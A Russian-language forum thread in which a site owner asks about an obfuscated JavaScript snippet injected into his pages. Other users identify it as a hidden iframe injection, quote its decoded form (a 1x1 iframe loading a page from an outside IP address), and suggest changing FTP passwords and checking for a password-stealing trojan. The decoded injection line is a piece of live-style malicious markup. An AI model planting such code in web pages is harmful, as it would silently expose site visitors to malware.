Непонятный ява-скрипт

обнаружил почти на всех своих ресурсах в конце индекса это -

<script type="text/javascript">document.write('\u003c\u0069\u0066\u0072\.........\u003e')</script>

местами по несколько раз повторяющихся

... может кто знает как это по русски? неужто кака какаято?

приведи полный код, тогда можно уже будет сказать что это такое "по-русски"...

а там уже и сам решишь кака это или какой скрипт твой это втыкает...

с той части что ты написал,можно лишь сказать что этот скрипт вызывает ифрейм какой-то

Последний раз редактировалось: Simple (02/09/07 в 03:44), всего редактировалось 1 раз

вот наковырял -
http://www.securitylab.ru/news/300176.php

с борды касперского -
... Если декодировать, получается:
<iframe src="http://69.50.139.61/hp2/hp2.htm" width=1 height=1></iframe>

Simple писал:

приведи полный код, тогда можно уже будет сказать что это такое "по-русски"... а там уже и сам решишь кака это или какой скрипт твой это втыкает...

чтото мне подсказует что полный код не стОит приводить

Тебя ифреймят.
Удаляй с ресурсов все линки,меняй пассы от фтп.
Ещё советую переустановить винду на всякий случай,если это пинч.

да, пароли сменил...
а пинч это чего?

пинч это троян который твои пассы пиздит...

лучше всего это закрыть доступ на фтп для всех айпи кроме твоего, как уже не раз тут советовалось...

Простой пароль на фтп видимо был..

от сложности пароля не зависит, его с компа трояном уводят просто обычно